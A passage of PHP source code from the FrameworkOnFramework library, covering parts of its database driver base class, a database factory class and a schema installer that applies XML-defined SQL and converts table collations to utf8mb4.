return true;
}
/**
* Method to check whether the installed database version is supported by
the database driver
*
* @return boolean True if the database version is supported
*
* @since 12.1
*/
public function isMinimumVersion()
{
return version_compare($this->getVersion(), static::$dbMinimum) >=
0;
}
/**
* Method to get the first row of the result set from the database query
as an associative array
* of ['field_name' => 'row_value'].
*
* @return mixed The return value or null if the query failed.
*
* @since 11.1
* @throws RuntimeException
*/
public function loadAssoc()
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return null;
}
// Get the first row from the result set as an associative array.
if ($array = $this->fetchAssoc($cursor))
{
$ret = $array;
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get an array of the result set rows from the database query
where each row is an associative array
* of ['field_name' => 'row_value']. The array of
rows can optionally be keyed by a field name, but defaults to
* a sequential numeric array.
*
* NOTE: Choosing to key the result array by a non-unique field name can
result in unwanted
* behavior and should be avoided.
*
* @param string $key The name of a field on which to key the
result array.
* @param string $column An optional column name. Instead of the whole
row, only this column value will be in
* the result array.
*
* @return mixed The return value or null if the query failed.
*
* @since 11.1
* @throws RuntimeException
*/
public function loadAssocList($key = null, $column = null)
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return null;
}
// Get all of the rows from the result set.
while ($row = $this->fetchAssoc($cursor))
{
$value = ($column) ? (isset($row[$column]) ? $row[$column] : $row) :
$row;
if ($key)
{
$array[$row[$key]] = $value;
}
else
{
$array[] = $value;
}
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Method to get an array of values from the
<var>$offset</var> field in each row of the result set from
* the database query.
*
* @param integer $offset The row offset to use to build the result
array.
*
* @return mixed The return value or null if the query failed.
*
* @since 11.1
* @throws RuntimeException
*/
public function loadColumn($offset = 0)
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return null;
}
// Get all of the rows from the result set as arrays.
while ($row = $this->fetchArray($cursor))
{
$array[] = $row[$offset];
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Method to get the next row in the result set from the database query as
an object.
*
* @param string $class The class name to use for the returned row
object.
*
* @return mixed The result of the query as an array, false if there
are no more rows.
*
* @since 11.1
* @throws RuntimeException
* @deprecated 12.3 (Platform) & 4.0 (CMS) - Use getIterator()
instead
*/
public function loadNextObject($class = 'stdClass')
{
if (class_exists('JLog'))
{
JLog::add(__METHOD__ . '() is deprecated. Use
FOFDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
}
$this->connect();
static $cursor = null;
// Execute the query and get the result set cursor.
if ( is_null($cursor) )
{
if (!($cursor = $this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchObject($cursor, $class))
{
return $row;
}
// Free up system resources and return.
$this->freeResult($cursor);
$cursor = null;
return false;
}
/**
* Method to get the next row in the result set from the database query as
an array.
*
* @return mixed The result of the query as an array, false if there are
no more rows.
*
* @since 11.1
* @throws RuntimeException
* @deprecated 4.0 (CMS) Use FOFDatabaseDriver::getIterator() instead
*/
public function loadNextRow()
{
if (class_exists('JLog'))
{
JLog::add(__METHOD__ . '() is deprecated. Use
FOFDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
}
$this->connect();
static $cursor = null;
// Execute the query and get the result set cursor.
if ( is_null($cursor) )
{
if (!($cursor = $this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchArray($cursor))
{
return $row;
}
// Free up system resources and return.
$this->freeResult($cursor);
$cursor = null;
return false;
}
/**
* Method to get the first row of the result set from the database query
as an object.
*
* @param string $class The class name to use for the returned row
object.
*
* @return mixed The return value or null if the query failed.
*
* @since 11.1
* @throws RuntimeException
*/
public function loadObject($class = 'stdClass')
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return null;
}
// Get the first row from the result set as an object of type $class.
if ($object = $this->fetchObject($cursor, $class))
{
$ret = $object;
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get an array of the result set rows from the database query
where each row is an object. The array
* of objects can optionally be keyed by a field name, but defaults to a
sequential numeric array.
*
* NOTE: Choosing to key the result array by a non-unique field name can
result in unwanted
* behavior and should be avoided.
*
* @param string $key The name of a field on which to key the result
array.
* @param string $class The class name to use for the returned row
objects.
*
* @return mixed The return value or null if the query failed.
*
* @since 11.1
* @throws RuntimeException
*/
public function loadObjectList($key = '', $class =
'stdClass')
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return null;
}
// Get all of the rows from the result set as objects of type $class.
while ($row = $this->fetchObject($cursor, $class))
{
if ($key)
{
$array[$row->$key] = $row;
}
else
{
$array[] = $row;
}
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Method to get the first field of the first row of the result set from
the database query.
*
* @return mixed The return value or null if the query failed.
*
* @since 11.1
* @throws RuntimeException
*/
public function loadResult()
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return null;
}
// Get the first row from the result set as an array.
if ($row = $this->fetchArray($cursor))
{
$ret = $row[0];
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get the first row of the result set from the database query
as an array. Columns are indexed
* numerically so the first column in the result set would be accessible
via <var>$row[0]</var>, etc.
*
* @return mixed The return value or null if the query failed.
*
* @since 11.1
* @throws RuntimeException
*/
public function loadRow()
{
$this->connect();
$ret = null;
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return null;
}
// Get the first row from the result set as an array.
if ($row = $this->fetchArray($cursor))
{
$ret = $row;
}
// Free up system resources and return.
$this->freeResult($cursor);
return $ret;
}
/**
* Method to get an array of the result set rows from the database query
where each row is an array. The array
* of objects can optionally be keyed by a field offset, but defaults to a
sequential numeric array.
*
* NOTE: Choosing to key the result array by a non-unique field can result
in unwanted
* behavior and should be avoided.
*
* @param string $key The name of a field on which to key the result
array.
*
* @return mixed The return value or null if the query failed.
*
* @since 11.1
* @throws RuntimeException
*/
public function loadRowList($key = null)
{
$this->connect();
$array = array();
// Execute the query and get the result set cursor.
if (!($cursor = $this->execute()))
{
return null;
}
// Get all of the rows from the result set as arrays.
while ($row = $this->fetchArray($cursor))
{
if ($key !== null)
{
$array[$row[$key]] = $row;
}
else
{
$array[] = $row;
}
}
// Free up system resources and return.
$this->freeResult($cursor);
return $array;
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to unlock.
*
* @return FOFDatabaseDriver Returns this object to support chaining.
*
* @since 11.4
* @throws RuntimeException
*/
public abstract function lockTable($tableName);
/**
* Quotes and optionally escapes a string to database requirements for use
in database queries.
*
* @param mixed $text A string or an array of strings to quote.
* @param boolean $escape True (default) to escape the string, false
to leave it unchanged.
*
* @return string The quoted input string.
*
* @note Accepting an array of strings was added in 12.3.
* @since 11.1
*/
public function quote($text, $escape = true)
{
if (is_array($text))
{
foreach ($text as $k => $v)
{
$text[$k] = $this->quote($v, $escape);
}
return $text;
}
else
{
return '\'' . ($escape ? $this->escape($text) : $text)
. '\'';
}
}
/**
* Wrap an SQL statement identifier name such as column, table or database
names in quotes to prevent injection
* risks and reserved word conflicts.
*
* @param mixed $name The identifier name to wrap in quotes, or an
array of identifier names to wrap in quotes.
* Each type supports dot-notation name.
* @param mixed $as The AS query part associated to $name. It can be
string or array, in latter case it has to be
* same length of $name; if is null there will not
be any AS part for string or array element.
*
* @return mixed The quote wrapped name, same type of $name.
*
* @since 11.1
*/
public function quoteName($name, $as = null)
{
if (is_string($name))
{
$quotedName = $this->quoteNameStr(explode('.', $name));
$quotedAs = '';
if (!is_null($as))
{
settype($as, 'array');
$quotedAs .= ' AS ' . $this->quoteNameStr($as);
}
return $quotedName . $quotedAs;
}
else
{
$fin = array();
if (is_null($as))
{
foreach ($name as $str)
{
$fin[] = $this->quoteName($str);
}
}
elseif (is_array($name) && (count($name) == count($as)))
{
$count = count($name);
for ($i = 0; $i < $count; $i++)
{
$fin[] = $this->quoteName($name[$i], $as[$i]);
}
}
return $fin;
}
}
/**
* Quote strings coming from quoteName call.
*
* @param array $strArr Array of strings coming from quoteName
dot-explosion.
*
* @return string Dot-imploded string of quoted parts.
*
* @since 11.3
*/
protected function quoteNameStr($strArr)
{
$parts = array();
$q = $this->nameQuote;
foreach ($strArr as $part)
{
if (is_null($part))
{
continue;
}
if (strlen($q) == 1)
{
$parts[] = $q . $part . $q;
}
else
{
$parts[] = $q[0] . $part . $q[1];
}
}
return implode('.', $parts);
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $sql The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 11.1
*/
public function replacePrefix($sql, $prefix = '#__')
{
$startPos = 0;
$literal = '';
$sql = trim($sql);
$n = strlen($sql);
while ($startPos < $n)
{
$ip = strpos($sql, $prefix, $startPos);
if ($ip === false)
{
break;
}
$j = strpos($sql, "'", $startPos);
$k = strpos($sql, '"', $startPos);
if (($k !== false) && (($k < $j) || ($j === false)))
{
$quoteChar = '"';
$j = $k;
}
else
{
$quoteChar = "'";
}
if ($j === false)
{
$j = $n;
}
$literal .= str_replace($prefix, $this->tablePrefix, substr($sql,
$startPos, $j - $startPos));
$startPos = $j;
$j = $startPos + 1;
if ($j >= $n)
{
break;
}
// Quote comes first, find end of quote
while (true)
{
$k = strpos($sql, $quoteChar, $j);
$escaped = false;
if ($k === false)
{
break;
}
$l = $k - 1;
while ($l >= 0 && $sql[$l] == '\\')
{
$l--;
$escaped = !$escaped;
}
if ($escaped)
{
$j = $k + 1;
continue;
}
break;
}
if ($k === false)
{
// Error in the query - no end quote; ignore it
break;
}
$literal .= substr($sql, $startPos, $k - $startPos + 1);
$startPos = $k + 1;
}
if ($startPos < $n)
{
$literal .= substr($sql, $startPos, $n - $startPos);
}
return $literal;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Table prefix
* @param string $prefix For the table - used to rename constraints
in non-mysql databases
*
* @return FOFDatabaseDriver Returns this object to support chaining.
*
* @since 11.4
* @throws RuntimeException
*/
public abstract function renameTable($oldTable, $newTable, $backup = null,
$prefix = null);
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 11.1
* @throws RuntimeException
*/
abstract public function select($database);
/**
* Sets the database debugging state for the driver.
*
* @param boolean $level True to enable debugging.
*
* @return boolean The old debugging level.
*
* @since 11.1
*/
public function setDebug($level)
{
$previous = $this->debug;
$this->debug = (bool) $level;
return $previous;
}
/**
* Sets the SQL statement string for later execution.
*
* @param mixed $query The SQL statement to set either as a
FOFDatabaseQuery object or a string.
* @param integer $offset The affected row offset to set.
* @param integer $limit The maximum affected rows to set.
*
* @return FOFDatabaseDriver This object to support method chaining.
*
* @since 11.1
*/
public function setQuery($query, $offset = 0, $limit = 0)
{
$this->sql = $query;
if ($query instanceof FOFDatabaseQueryLimitable)
{
if (!$limit && $query->limit)
{
$limit = $query->limit;
}
if (!$offset && $query->offset)
{
$offset = $query->offset;
}
$query->setLimit($limit, $offset);
}
else
{
$this->limit = (int) max(0, $limit);
$this->offset = (int) max(0, $offset);
}
return $this;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 11.1
*/
abstract public function setUtf();
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 11.1
* @throws RuntimeException
*/
abstract public function transactionCommit($toSavepoint = false);
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 11.1
* @throws RuntimeException
*/
abstract public function transactionRollback($toSavepoint = false);
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 11.1
* @throws RuntimeException
*/
abstract public function transactionStart($asSavepoint = false);
/**
* Method to truncate a table.
*
* @param string $table The table to truncate
*
* @return void
*
* @since 11.3
* @throws RuntimeException
*/
public function truncateTable($table)
{
$this->setQuery('TRUNCATE TABLE ' .
$this->quoteName($table));
$this->execute();
}
/**
* Updates a row in a table based on an object's properties.
*
* @param string $table The name of the database table to update.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param array $key The name of the primary key.
* @param boolean $nulls True to update null fields or false to
ignore them.
*
* @return boolean True on success.
*
* @since 11.1
* @throws RuntimeException
*/
public function updateObject($table, &$object, $key, $nulls = false)
{
$fields = array();
$where = array();
if (is_string($key))
{
$key = array($key);
}
if (is_object($key))
{
$key = (array) $key;
}
// Create the base update statement.
$statement = 'UPDATE ' . $this->quoteName($table) . '
SET %s WHERE %s';
// Iterate over the object variables to build the query fields/value
pairs.
foreach (get_object_vars($object) as $k => $v)
{
// Only process scalars that are not internal fields.
if (is_array($v) or is_object($v) or $k[0] == '_')
{
continue;
}
// Set the primary key to the WHERE clause instead of a field to update.
if (in_array($k, $key))
{
$where[] = $this->quoteName($k) . '=' .
$this->quote($v);
continue;
}
// Prepare and sanitize the fields and values for the database query.
if ($v === null)
{
// If the value is null and we want to update nulls then set it.
if ($nulls)
{
$val = 'NULL';
}
// If the value is null and we do not want to update nulls then ignore
this field.
else
{
continue;
}
}
// The field is not null so we prep it for update.
else
{
$val = $this->quote($v);
}
// Add the field to be updated.
$fields[] = $this->quoteName($k) . '=' . $val;
}
// We don't have any fields to update.
if (empty($fields))
{
return true;
}
// Set the query and execute the update.
$this->setQuery(sprintf($statement, implode(",", $fields),
implode(' AND ', $where)));
return $this->execute();
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 12.1
* @throws RuntimeException
*/
abstract public function execute();
/**
* Unlocks tables in the database.
*
* @return FOFDatabaseDriver Returns this object to support chaining.
*
* @since 11.4
* @throws RuntimeException
*/
public abstract function unlockTables();
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Joomla Platform Database Factory class
*
* @since 12.1
*/
class FOFDatabaseFactory
{
/**
* Contains the current FOFDatabaseFactory instance
*
* @var FOFDatabaseFactory
* @since 12.1
*/
private static $_instance = null;
/**
* Method to return a FOFDatabaseDriver instance based on the given
options. There are three global options and then
* the rest are specific to the database driver. The 'database'
option determines which database is to
* be used for the connection. The 'select' option determines
whether the connector should automatically select
* the chosen database.
*
* Instances are unique to the given options and new objects are only
created when a unique options array is
* passed into the method. This ensures that we don't end up with
unnecessary database connection resources.
*
* @param string $name Name of the database driver you'd like
to instantiate
* @param array $options Parameters to be passed to the database
driver.
*
* @return FOFDatabaseDriver A database driver object.
*
* @since 12.1
* @throws RuntimeException
*/
public function getDriver($name = 'joomla', $options = array())
{
// Sanitize the database connector options.
$options['driver'] =
preg_replace('/[^A-Z0-9_\.-]/i', '', $name);
$options['database'] = (isset($options['database']))
? $options['database'] : null;
$options['select'] = (isset($options['select'])) ?
$options['select'] : true;
// Derive the class name from the driver.
$class = 'FOFDatabaseDriver' .
ucfirst(strtolower($options['driver']));
// If the class still doesn't exist we have nothing left to do but
throw an exception. We did our best.
if (!class_exists($class))
{
throw new RuntimeException(sprintf('Unable to load Database Driver:
%s', $options['driver']));
}
// Create our new FOFDatabaseDriver connector based on the options given.
try
{
$instance = new $class($options);
}
catch (RuntimeException $e)
{
throw new RuntimeException(sprintf('Unable to connect to the
Database: %s', $e->getMessage()), $e->getCode(), $e);
}
return $instance;
}
/**
* Gets an instance of the factory object.
*
* @return FOFDatabaseFactory
*
* @since 12.1
*/
public static function getInstance()
{
return self::$_instance ? self::$_instance : new FOFDatabaseFactory;
}
/**
* Get the current query object or a new FOFDatabaseQuery object.
*
* @param string $name Name of the driver you want an query
object for.
* @param FOFDatabaseDriver $db Optional FOFDatabaseDriver instance
*
* @return FOFDatabaseQuery The current query object or a new object
extending the FOFDatabaseQuery class.
*
* @since 12.1
* @throws RuntimeException
*/
public function getQuery($name, FOFDatabaseDriver $db = null)
{
// Derive the class name from the driver.
$class = 'FOFDatabaseQuery' . ucfirst(strtolower($name));
// Make sure we have a query class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new RuntimeException('Database Query class not found');
}
return new $class($db);
}
/**
* Gets an instance of a factory object to return on subsequent calls of
getInstance.
*
* @param FOFDatabaseFactory $instance A FOFDatabaseFactory object.
*
* @return void
*
* @since 12.1
*/
public static function setInstance(FOFDatabaseFactory $instance = null)
{
self::$_instance = $instance;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
class FOFDatabaseInstaller
{
/** @var FOFDatabase The database connector object */
private $db = null;
/**
* @var FOFInput Input variables
*/
protected $input = array();
/** @var string The directory where the XML schema files are stored */
private $xmlDirectory = null;
/** @var array A list of the base names of the XML schema files */
public $xmlFiles = array('mysql', 'mysqli',
'pdomysql', 'postgresql', 'sqlsrv',
'mssql');
/** @var array Internal cache for table list */
protected static $allTables = array();
/**
* Public constructor
*
* @param array $config The configuration array
*/
public function __construct($config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
// Get the input
if (array_key_exists('input', $config))
{
if ($config['input'] instanceof FOFInput)
{
$this->input = $config['input'];
}
else
{
$this->input = new FOFInput($config['input']);
}
}
else
{
$this->input = new FOFInput;
}
// Set the database object
if (array_key_exists('dbo', $config))
{
$this->db = $config['dbo'];
}
else
{
$this->db = FOFPlatform::getInstance()->getDbo();
}
// Set the $name/$_name variable
$component = $this->input->getCmd('option',
'com_foobar');
if (array_key_exists('option', $config))
{
$component = $config['option'];
}
// Figure out where the XML schema files are stored
if (array_key_exists('dbinstaller_directory', $config))
{
$this->xmlDirectory = $config['dbinstaller_directory'];
}
else
{
// Nothing is defined, assume the files are stored in the sql/xml
directory inside the component's administrator section
$directories =
FOFPlatform::getInstance()->getComponentBaseDirs($component);
$this->setXmlDirectory($directories['admin'] .
'/sql/xml');
}
// Do we have a set of XML files to look for?
if (array_key_exists('dbinstaller_files', $config))
{
$files = $config['dbinstaller_files'];
if (!is_array($files))
{
$files = explode(',', $files);
}
$this->xmlFiles = $files;
}
}
/**
* Sets the directory where XML schema files are stored
*
* @param string $xmlDirectory
*/
public function setXmlDirectory($xmlDirectory)
{
$this->xmlDirectory = $xmlDirectory;
}
/**
* Returns the directory where XML schema files are stored
*
* @return string
*/
public function getXmlDirectory()
{
return $this->xmlDirectory;
}
/**
* Creates or updates the database schema
*
* @return void
*
* @throws Exception When a database query fails and it doesn't
have the canfail flag
*/
public function updateSchema()
{
// Get the schema XML file
$xml = $this->findSchemaXml();
if (empty($xml))
{
return;
}
// Make sure there are SQL commands in this file
if (!$xml->sql)
{
return;
}
// Walk the sql > action tags to find all tables
/** @var SimpleXMLElement $actions */
$actions = $xml->sql->children();
/**
* The meta/autocollation node defines if I should automatically apply
the correct collation (utf8 or utf8mb4)
* to the database tables managed by the schema updater. When enabled
(default) the queries are automatically
* converted to the correct collation (utf8mb4_unicode_ci or
utf8_general_ci) depending on whether your Joomla!
* and MySQL server support Multibyte UTF-8 (UTF8MB4). Moreover, if
UTF8MB4 is supported, all CREATE TABLE
* queries are analyzed and the tables referenced in them are
auto-converted to the proper utf8mb4 collation.
*/
$autoCollationConversion = true;
if ($xml->meta->autocollation)
{
$value = (string) $xml->meta->autocollation;
$value = trim($value);
$value = strtolower($value);
$autoCollationConversion = in_array($value, array('true',
'1', 'on', 'yes'));
}
try
{
$hasUtf8mb4Support = $this->db->hasUTF8mb4Support();
}
catch (\Exception $e)
{
$hasUtf8mb4Support = false;
}
$tablesToConvert = array();
/** @var SimpleXMLElement $action */
foreach ($actions as $action)
{
// Get the attributes
$attributes = $action->attributes();
// Get the table / view name
$table = $attributes->table ? (string)$attributes->table :
'';
if (empty($table))
{
continue;
}
// Am I allowed to let this action fail?
$canFailAction = $attributes->canfail ? $attributes->canfail : 0;
// Evaluate conditions
$shouldExecute = true;
/** @var SimpleXMLElement $node */
foreach ($action->children() as $node)
{
if ($node->getName() == 'condition')
{
// Get the operator
$operator = $node->attributes()->operator ?
(string)$node->attributes()->operator : 'and';
$operator = empty($operator) ? 'and' : $operator;
$condition = $this->conditionMet($table, $node);
switch ($operator)
{
case 'not':
$shouldExecute = $shouldExecute && !$condition;
break;
case 'or':
$shouldExecute = $shouldExecute || $condition;
break;
case 'nor':
$shouldExecute = !$shouldExecute && !$condition;
break;
case 'xor':
$shouldExecute = ($shouldExecute xor $condition);
break;
case 'maybe':
$shouldExecute = $condition ? true : $shouldExecute;
break;
default:
$shouldExecute = $shouldExecute && $condition;
break;
}
}
// DO NOT USE BOOLEAN SHORT CIRCUIT EVALUATION!
// if (!$shouldExecute) break;
}
// Do I have to only collect the tables from CREATE TABLE queries?
$onlyCollectTables = !$shouldExecute && $autoCollationConversion
&& $hasUtf8mb4Support;
// Make sure all conditions are met OR I have to collect tables from
CREATE TABLE queries.
if (!$shouldExecute && !$onlyCollectTables)
{
continue;
}
// Execute queries
foreach ($action->children() as $node)
{
if ($node->getName() == 'query')
{
$query = (string) $node;
if ($autoCollationConversion && $hasUtf8mb4Support)
{
$this->extractTablesToConvert($query, $tablesToConvert);
}
// If we're only collecting tables do not run the queries
if ($onlyCollectTables)
{
continue;
}
$canFail = $node->attributes->canfail ?
(string)$node->attributes->canfail : $canFailAction;
if (is_string($canFail))
{
$canFail = strtoupper($canFail);
}
$canFail = (in_array($canFail, array(true, 1, 'YES',
'TRUE')));
// Do I need to automatically convert the collation of all CREATE /
ALTER queries?
if ($autoCollationConversion)
{
if ($hasUtf8mb4Support)
{
// We have UTF8MB4 support. Convert all queries to UTF8MB4.
$query = $this->convertUtf8QueryToUtf8mb4($query);
}
else
{
// We do not have UTF8MB4 support. Convert all queries to plain old
UTF8.
$query = $this->convertUtf8mb4QueryToUtf8($query);
}
}
$this->db->setQuery($query);
try
{
$this->db->execute();
}
catch (Exception $e)
{
// If we are not allowed to fail, throw back the exception we caught
if (!$canFail)
{
throw $e;
}
}
}
}
}
// Auto-convert the collation of tables if we are told to do so, have
utf8mb4 support and a list of tables.
if ($autoCollationConversion && $hasUtf8mb4Support &&
!empty($tablesToConvert))
{
$this->convertTablesToUtf8mb4($tablesToConvert);
}
}
/**
* Uninstalls the database schema
*
* @return void
*/
public function removeSchema()
{
// Get the schema XML file
$xml = $this->findSchemaXml();
if (empty($xml))
{
return;
}
// Make sure there are SQL commands in this file
if (!$xml->sql)
{
return;
}
// Walk the sql > action tags to find all tables
$tables = array();
/** @var SimpleXMLElement $actions */
$actions = $xml->sql->children();
/** @var SimpleXMLElement $action */
foreach ($actions as $action)
{
$attributes = $action->attributes();
$tables[] = (string)$attributes->table;
}
// Simplify the tables list
$tables = array_unique($tables);
// Start dropping tables
foreach ($tables as $table)
{
try
{
$this->db->dropTable($table);
}
catch (Exception $e)
{
// Do not fail if I can't drop the table
}
}
}
/**
* Find an suitable schema XML file for this database type and return the
SimpleXMLElement holding its information
*
* @return null|SimpleXMLElement Null if no suitable schema XML file is
found
*/
protected function findSchemaXml()
{
$driverType = $this->db->name;
$xml = null;
// And now look for the file
foreach ($this->xmlFiles as $baseName)
{
// Remove any accidental whitespace
$baseName = trim($baseName);
// Get the full path to the file
$fileName = $this->xmlDirectory . '/' . $baseName .
'.xml';
// Make sure the file exists
if (!@file_exists($fileName))
{
continue;
}
// Make sure the file is a valid XML document
try
{
$xml = new SimpleXMLElement($fileName, LIBXML_NONET, true);
}
catch (Exception $e)
{
$xml = null;
continue;
}
// Make sure the file is an XML schema file
if ($xml->getName() != 'schema')
{
$xml = null;
continue;
}
if (!$xml->meta)
{
$xml = null;
continue;
}
if (!$xml->meta->drivers)
{
$xml = null;
continue;
}
/** @var SimpleXMLElement $drivers */
$drivers = $xml->meta->drivers;
// Strict driver name match
foreach ($drivers->children() as $driverTypeTag)
{
$thisDriverType = (string)$driverTypeTag;
if ($thisDriverType == $driverType)
{
return $xml;
}
}
// Some custom database drivers use a non-standard $name variable. Let
try a relaxed match.
foreach ($drivers->children() as $driverTypeTag)
{
$thisDriverType = (string)$driverTypeTag;
if (
// e.g. $driverType = 'mysqlistupid', $thisDriverType =
'mysqli' => driver matched
strpos($driverType, $thisDriverType) === 0
// e.g. $driverType = 'stupidmysqli', $thisDriverType =
'mysqli' => driver matched
|| (substr($driverType, -strlen($thisDriverType)) == $thisDriverType)
)
{
return $xml;
}
}
$xml = null;
}
return $xml;
}
/**
* Checks if a condition is met
*
* @param string $table The table we're operating on
* @param SimpleXMLElement $node The condition definition node
*
* @return bool
*/
protected function conditionMet($table, SimpleXMLElement $node)
{
if (empty(static::$allTables))
{
static::$allTables = $this->db->getTableList();
}
// Does the table exist?
$tableNormal = $this->db->replacePrefix($table);
$tableExists = in_array($tableNormal, static::$allTables);
// Initialise
$condition = false;
// Get the condition's attributes
$attributes = $node->attributes();
$type = $attributes->type ? $attributes->type : null;
$value = $attributes->value ? (string) $attributes->value : null;
switch ($type)
{
// Check if a table or column is missing
case 'missing':
$fieldName = (string)$value;
if (empty($fieldName))
{
$condition = !$tableExists;
}
else
{
try
{
$tableColumns = $this->db->getTableColumns($tableNormal, true);
}
catch (\Exception $e)
{
$tableColumns = array();
}
$condition = !array_key_exists($fieldName, $tableColumns);
}
break;
// Check if a column type matches the "coltype" attribute
case 'type':
try
{
$tableColumns = $this->db->getTableColumns($tableNormal, false);
}
catch (\Exception $e)
{
$tableColumns = array();
}
$condition = false;
if (array_key_exists($value, $tableColumns))
{
$coltype = $attributes->coltype ? $attributes->coltype : null;
if (!empty($coltype))
{
$coltype = strtolower($coltype);
$currentType = strtolower($tableColumns[$value]->Type);
$condition = ($coltype == $currentType);
}
}
break;
// Check if a (named) index exists on the table. Currently only
supported on MySQL.
case 'index':
$indexName = (string) $value;
$condition = true;
if (!empty($indexName))
{
$indexName = str_replace('#__',
$this->db->getPrefix(), $indexName);
$condition = $this->hasIndex($tableNormal, $indexName);
}
break;
// Check if a table or column needs to be upgraded to utf8mb4
case 'utf8mb4upgrade':
$condition = false;
// Check if the driver and the database connection have UTF8MB4 support
try
{
$hasUtf8mb4Support = $this->db->hasUTF8mb4Support();
}
catch (\Exception $e)
{
$hasUtf8mb4Support = false;
}
if ($hasUtf8mb4Support)
{
$fieldName = (string)$value;
if (empty($fieldName))
{
$collation = $this->getTableCollation($tableNormal);
}
else
{
$collation = $this->getColumnCollation($tableNormal, $fieldName);
}
$parts = explode('_', $collation, 3);
$encoding = empty($parts[0]) ? '' : strtolower($parts[0]);
$condition = $encoding != 'utf8mb4';
}
break;
// Check if the result of a query matches our expectation
case 'equals':
$query = (string)$node;
$this->db->setQuery($query);
try
{
$result = $this->db->loadResult();
$condition = ($result == $value);
}
catch (Exception $e)
{
return false;
}
break;
// Always returns true
case 'true':
return true;
break;
default:
return false;
break;
}
return $condition;
}
/**
* Get the collation of a table. Uses an internal cache for efficiency.
*
* @param string $tableName The name of the table
*
* @return string The collation, e.g. "utf8_general_ci"
*/
private function getTableCollation($tableName)
{
static $cache = array();
$tableName = $this->db->replacePrefix($tableName);
if (!isset($cache[$tableName]))
{
$cache[$tableName] = $this->realGetTableCollation($tableName);
}
return $cache[$tableName];
}
/**
* Get the collation of a table. This is the internal method used by
getTableCollation.
*
* @param string $tableName The name of the table
*
* @return string The collation, e.g. "utf8_general_ci"
*/
private function realGetTableCollation($tableName)
{
try
{
$utf8Support = $this->db->hasUTFSupport();
}
catch (\Exception $e)
{
$utf8Support = false;
}
try
{
$utf8mb4Support = $utf8Support &&
$this->db->hasUTF8mb4Support();
}
catch (\Exception $e)
{
$utf8mb4Support = false;
}
$collation = $utf8mb4Support ? 'utf8mb4_unicode_ci' :
($utf8Support ? 'utf_general_ci' :
'latin1_swedish_ci');
$query = 'SHOW TABLE STATUS LIKE ' .
$this->db->q($tableName);
try
{
$row = $this->db->setQuery($query)->loadAssoc();
}
catch (\Exception $e)
{
return $collation;
}
if (empty($row))
{
return $collation;
}
if (!isset($row['Collation']))
{
return $collation;
}
if (empty($row['Collation']))
{
return $collation;
}
return $row['Collation'];
}
/**
* Get the collation of a column. Uses an internal cache for efficiency.
*
* @param string $tableName The name of the table
* @param string $columnName The name of the column
*
* @return string The collation, e.g. "utf8_general_ci"
*/
private function getColumnCollation($tableName, $columnName)
{
static $cache = array();
$tableName = $this->db->replacePrefix($tableName);
$columnName = $this->db->replacePrefix($columnName);
if (!isset($cache[$tableName]))
{
$cache[$tableName] = array();
}
if (!isset($cache[$tableName][$columnName]))
{
$cache[$tableName][$columnName] =
$this->realGetColumnCollation($tableName, $columnName);
}
return $cache[$tableName][$columnName];
}
/**
* Get the collation of a column. This is the internal method used by
getColumnCollation.
*
* @param string $tableName The name of the table
* @param string $columnName The name of the column
*
* @return string The collation, e.g. "utf8_general_ci"
*/
private function realGetColumnCollation($tableName, $columnName)
{
